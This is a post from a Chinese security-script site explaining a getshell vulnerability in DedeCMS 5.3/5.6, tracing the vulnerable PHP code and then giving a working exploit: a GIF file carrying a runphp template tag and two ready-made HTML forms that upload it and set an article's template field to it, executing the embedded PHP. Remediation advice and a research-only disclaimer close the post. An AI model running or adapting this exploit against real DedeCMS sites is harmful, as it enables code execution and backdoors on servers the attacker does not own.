DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6

2023-12-04 0 441

DEDECMS 5.6最新Get Shell漏洞 影响版本:  DEDECMS 5.3/5.6   漏洞描述:   DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于 DedeCms核心,是目前国内应用最广泛的php类CMS系统。   article_add.php 复制代码代码如下: …………………… else if($dopost==\’save\’) { include(DEDEMEMBER.\’/inc/archives_check.php\’); //分析处理附加表数据 $inadd_f = $inadd_v = \’\’; if(!emptyempty($dede_addonfields)) { $addonfields = explode(\’;\’,$dede_addonfields); …………………………………….. //省略部份代码 $inadd_f .= \’,\’.$vs[0]; $inadd_v .= \” ,\’\”.${$vs[0]}.\”\’ \”; } } } …………………………………… $addtable = trim($cInfos[\’addtable\’]); if(emptyempty($addtable)) { ……………………………….. } else { $inquery = \”INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values(\’$arcID\’,\’$typeid\’,\’$userip\’,\’\’,\’\’,\’$body\'{$inadd_v})\”; if(!$dsql->ExecuteNoneQuery($inquery)) { …………………………………… } } …………………………………… $artUrl = MakeArt($arcID,true); //利用地方(arc.archives.functions.php有定义) function MakeArt($aid,$ismakesign=false) { global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style; include_once(DEDEINC.\’/arc.archives.class.php\’); if($ismakesign) { $envs[\’makesign\’] = \’yes\’; } $arc = new Archives($aid); $reurl = $arc->MakeHtml(); //arc.archives.class.php有定义 ………………………. }   arc.archives.class.php 复制代码代码如下: class Archives { ……………. function __construct($aid) { ………… if($this->ChannelUnit->ChannelInfos[\’addtable\’]!=\’\’) { $query = \”SELECT * FROM `{$this->ChannelUnit->ChannelInfos[\’addtable\’]}` WHERE `aid` = \’$aid\’\”; $this->addTableRow = $this->dsql->GetOne($query); } …………………… if($this->ChannelUnit->ChannelInfos[\’addtable\’]!=\’\’ && $this->ChannelUnit->ChannelInfos[\’issystem\’]!=-1) { if(is_array($this->addTableRow)) { …………………………. $this->Fields[\’templet\’] = $this->addTableRow[\’templet\’];//注意1 ……………………………….. } } ……………………….. } function MakeHtml($isremote=0) { global $cfg_remote_site,$fileFirst; if($this->IsError) { return \’\’; } $this->Fields[\”displaytype\”] = \”st\”; //预编译$th $this->LoadTemplet(); //触发1 ………………………………..//省略部份代码 $this->arseDMFields($i,1); $this->dtp->SaveTo($truefilename); //触发2 ……………………………….. } 继续跟(触发1)$this->LoadTemplet(); //arc.archives.class.php有定义 function LoadTemplet() { if($this->TempSource==\’\’) { $tempfile = $this->GetTempletFile(); //注意2 if(!file_exists($tempfile) || !is_file($tempfile)) { echo \”文档ID:{$this->Fields[\’id\’]} – {$this->TypeLink->TypeInfos[\’typename\’]} – {$this->Fields[\’title\’]}\”; echo \”模板文件不存在,无法解析文档!\”; exit(); } $this->dtp->LoadTemplate($tempfile); //触发3 $this->TempSource = $this->dtp->SourceString; } else { $this->dtp->LoadSource($this->TempSource); } } 看注意2 的$this->GetTempletFile() //arc.archives.class.php有定义 function GetTempletFile() { global $cfg_basedir,$cfg_templets_dir,$cfg_df_style; $cid = $this->ChannelUnit->ChannelInfos[\’nid\’]; if(!emptyempty($this->Fields[\’templet\’])) //注意3 { $filetag = MfTemplet($this->Fields[\’templet\’]); if( !ereg(\’/\’, $filetag) ) $filetag = $GLOBALS[\’cfg_df_style\’].\’/\’.$filetag; } else { $filetag = MfTemplet($this->TypeLink->TypeInfos[\”temparticle\”]); } ………………………………… if($cid==\’spec\’) { if( !emptyempty($this->Fields[\’templet\’]) ) { $tmpfile = $cfg_basedir.$cfg_templets_dir.\’/\’.$filetag; } else { $tmpfile = $cfg_basedir.$cfg_templets_dir.\”/{$cfg_df_style}/article_spec.htm\”; } } ……………………………………. return $tmpfile; } 注意3中的值来自注意1是通过查表得来的,控制了它就等于控制了任意模板,然后通过触发3来触发漏洞 看下怎么控制注意1的值 article_edit.php 复制代码代码如下: …………………. else if($dopost==\’save\’) { ……………….. if(!emptyempty($dede_addonfields)) { $addonfields = explode(\’;\’,$dede_addonfields); if(is_array($addonfields)) { …………………… ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); $inadd_f .= \’,\’.$vs[0].\” =\’\”.${$vs[0]}.\”\’ \”; } } ………………. if($addtable!=\’\’) { $upQuery = \”Update `$addtable` set typeid=\’$typeid\’,body=\’$body\'{$inadd_f},userip=\’$userip\’ where aid=\’$aid\’ \”; if(!$dsql->ExecuteNoneQuery($upQuery)) {………….. } } ……………….. } $dede_addonfields没有过滤,我们可以构造$inadd_f为,templet=\’上传的模板图片地址\’,包含我们的图片后,再通过触发2来生成图片里的后门! 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! Gif89a{dede:field name=\’toby57\’ runphp=\’yes\’} phpinfo(); {/dede:field} 保存为1.gif 复制代码代码如下: <form action=\”http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php\” method=\”post\” enctype=\”multipart/form-data\” \”> 2. <input type=\”hidden\” name=\”aid\” value=\”7\” /> <input type=\”hidden\” name=\”mediatype\” value=\”1\” /> 4. <input type=\”text\” name=\”oldurl\” value=\”/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif\” /></br> <input type=\”hidden\” name=\”dopost\” value=\”save\” /> 6. <input name=\”title\” type=\”hidden\” id=\”title\” value=\”1.jpg\” class=\”intxt\”/> <input name=\”addonfile\” type=\”file\” id=\”addonfile\”/> 8. <button class=\”button2\” type=\”submit\” >更改</button> </form> 构造如上表单,上传后图片保存为/uploads/userup/3/1.gif 发表文章,然后构造修改表单如下: 复制代码代码如下: <form action=\”http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php\” method=\”post\” enctype=\”multipart/form-data\”> <input type=\”hidden\” name=\”dopost\” value=\”save\” /> 3. <input type=\”hidden\” name=\”aid\” value=\”2\” /> <input type=\”hidden\” name=\”idhash\” value=\”ec66030e619328a6c5115b55483e8dbd\” /> 5. <input type=\”hidden\” name=\”channelid\” value=\”1\” /> <input type=\”hidden\” name=\”oldlitpic\” value=\”\” /> 7. <input type=\”hidden\” name=\”sortrank\” value=\”1282049150\” /> <input name=\”title\” type=\”text\” id=\”title\” value=\”aaaaaaaaaaaaaaa\” maxlength=\”100\” class=\”intxt\”/> 9. <input type=\”text\” name=\”writer\” id=\”writer\” value=\”123456\” maxlength=\”100\” class=\”intxt\” style=\”width:219px\”/> <select name=\’typeid\’ size=\’1\’> 11. <option value=\’1\’ class=\’option3\’ selected=\’\’>Test</option> <select name=\’mtypesid\’ size=\’1\’> 13. <option value=\’0\’ selected>请选择分类…</option> <option value=\’1\’ class=\’option3\’ selected>aa</option></select> 15. <textarea name=\”description\” id=\”description\”>aaaaaaaaaaaaa</textarea> <input type=\’hidden\’ name=\’dede_addonfields\’ value=\”templet\”> 17. <input type=\’hidden\’ name=\’templet\’ value=\”../uploads/userup/3/1.gif\”> <input type=\”hidden\” id=\”body\” name=\”body\” value=\”aaaa\” style=\”display:none\” /> 19. <button class=\”button2\” type=\”submit\”>提交</button> </form> 安全建议: 如果您使用了DedeCMS程序,因目前DedeCMS暂未发布补丁修复,请立即按如下流程处理: 1.在dedecms的后台更新补丁,尽可能升级为最新版本。 2.data、templets、uploads、install这几个目录用控制面板的“目录保护”功能 禁止执行权限 。 3.如果只是使用文章系统并没有使用会员功能,则强推推荐:关闭会员功能、关闭新会员注册、直接删除member目录或改名。 4.用dedecms后台的“系统”中的文件校验和病毒扫描功能 查杀病毒木马。 5.检查有无/data/cache/t.php 、/data/cache/x.php和/plus/index.php 这些木马文件,有的话则应立即删除。 6.用虚拟主机控制面板中的“查杀病毒 ”功能全面查杀一次。 请及时关注dedecms的最新补丁,如果官方出新补丁,则应立即更新。 厂商补丁EDECMS————目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.dedecms.com/

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 脚本攻防 DEDECMS 5.6最新Get Shell漏洞 DEDECMS 5.3/5.6 https://www.u-9.cn/security/gongfang/70912.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务